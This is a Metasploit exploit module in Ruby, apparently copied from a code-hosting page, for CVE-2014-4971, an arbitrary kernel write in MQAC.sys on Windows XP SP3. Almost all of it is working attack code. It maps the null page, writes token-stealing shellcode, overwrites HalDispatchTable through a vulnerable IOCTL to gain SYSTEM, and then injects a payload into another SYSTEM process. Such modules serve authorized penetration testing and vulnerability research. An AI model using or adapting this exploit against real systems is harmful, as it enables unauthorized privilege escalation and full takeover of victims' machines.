175 lines
6.0 KiB
Ruby
175 lines
6.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/exploit/local/windows_kernel'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Local::WindowsKernel
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Process
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
|
|
'Description' => %q(
|
|
A vulnerability within the MQAC.sys module allows an attacker to
|
|
overwrite an arbitrary location in kernel memory.
|
|
|
|
This module will elevate itself to SYSTEM, then inject the payload
|
|
into another SYSTEM process.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Matt Bergin', # original exploit and all the hard work
|
|
'Spencer McIntyre' # MSF module
|
|
],
|
|
'Arch' => [ARCH_X86],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['Windows XP SP3',
|
|
{
|
|
'HaliQuerySystemInfo' => 0x16bba,
|
|
'_KPROCESS' => "\x44",
|
|
'_TOKEN' => "\xc8",
|
|
'_UPID' => "\x84",
|
|
'_APLINKS' => "\x88"
|
|
}
|
|
]
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2014-4971'],
|
|
['EDB', '34112'],
|
|
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
|
|
],
|
|
'DisclosureDate' => 'Jul 22 2014',
|
|
'DefaultTarget' => 0,
|
|
'Notes' =>
|
|
{
|
|
'Stability' => [ CRASH_OS_RESTARTS, ],
|
|
}
|
|
))
|
|
end
|
|
|
|
# Function borrowed from smart_hashdump
|
|
def get_system_proc
|
|
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
|
|
local_sys = resolve_sid('S-1-5-18')
|
|
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
|
|
|
|
this_pid = session.sys.process.getpid
|
|
# Processes that can Blue Screen a host if migrated in to
|
|
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
|
|
session.sys.process.processes.each do |p|
|
|
# Check we are not migrating to a process that can BSOD the host
|
|
next if dangerous_processes.include?(p['name'])
|
|
next if p['pid'] == this_pid
|
|
next if p['pid'] == 4
|
|
next if p['user'] != system_account_name
|
|
return p
|
|
end
|
|
end
|
|
|
|
def check
|
|
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
|
if handle.nil?
|
|
print_error('MSMQ installation not found')
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
session.railgun.kernel32.CloseHandle(handle)
|
|
|
|
os = sysinfo['OS']
|
|
case os
|
|
when /windows xp.*service pack 3/i
|
|
return Exploit::CheckCode::Appears
|
|
when /windows xp/i
|
|
vprint_error('Unsupported version of Windows XP detected')
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if sysinfo['Architecture'] == ARCH_X64
|
|
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
|
end
|
|
|
|
if is_system?
|
|
print_error('This meterpreter session is already running as SYSTEM')
|
|
return
|
|
end
|
|
|
|
# Running on Windows XP versions that aren't listed in the supported list
|
|
# results in a BSOD and so we should not let that happen.
|
|
if check == Exploit::CheckCode::Safe
|
|
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
|
|
end
|
|
|
|
base_addr = 0xffff
|
|
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
|
return if handle.nil?
|
|
|
|
this_proc = session.sys.process.open
|
|
unless this_proc.memory.writable?(base_addr)
|
|
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil,
|
|
[0xffff].pack('V'),
|
|
'MEM_COMMIT|MEM_RESERVE',
|
|
'PAGE_EXECUTE_READWRITE')
|
|
end
|
|
unless this_proc.memory.writable?(base_addr)
|
|
print_error('Failed to properly allocate memory')
|
|
this_proc.close
|
|
return
|
|
end
|
|
|
|
haldispatchtable = find_haldispatchtable
|
|
return if haldispatchtable.nil?
|
|
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")
|
|
|
|
vprint_status('Getting the hal.dll base address...')
|
|
hal_info = find_sys_base('hal.dll')
|
|
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
|
|
hal_base = hal_info[0]
|
|
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
|
|
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
|
|
|
|
restore_ptrs = "\x31\xc0" # xor eax, eax
|
|
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
|
|
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
|
|
|
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
|
|
|
|
this_proc.memory.write(0x1, shellcode)
|
|
this_proc.close
|
|
|
|
print_status('Triggering vulnerable IOCTL')
|
|
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
|
|
1, 0x258,
|
|
haldispatchtable + 4, 0)
|
|
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
|
|
|
unless is_system?
|
|
print_error('Did not get system, exploit failed')
|
|
return
|
|
end
|
|
|
|
proc = get_system_proc
|
|
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
|
|
unless execute_shellcode(payload.encoded, nil, proc['pid'])
|
|
fail_with(Failure::Unknown, 'Error while executing the payload')
|
|
end
|
|
end
|
|
end
|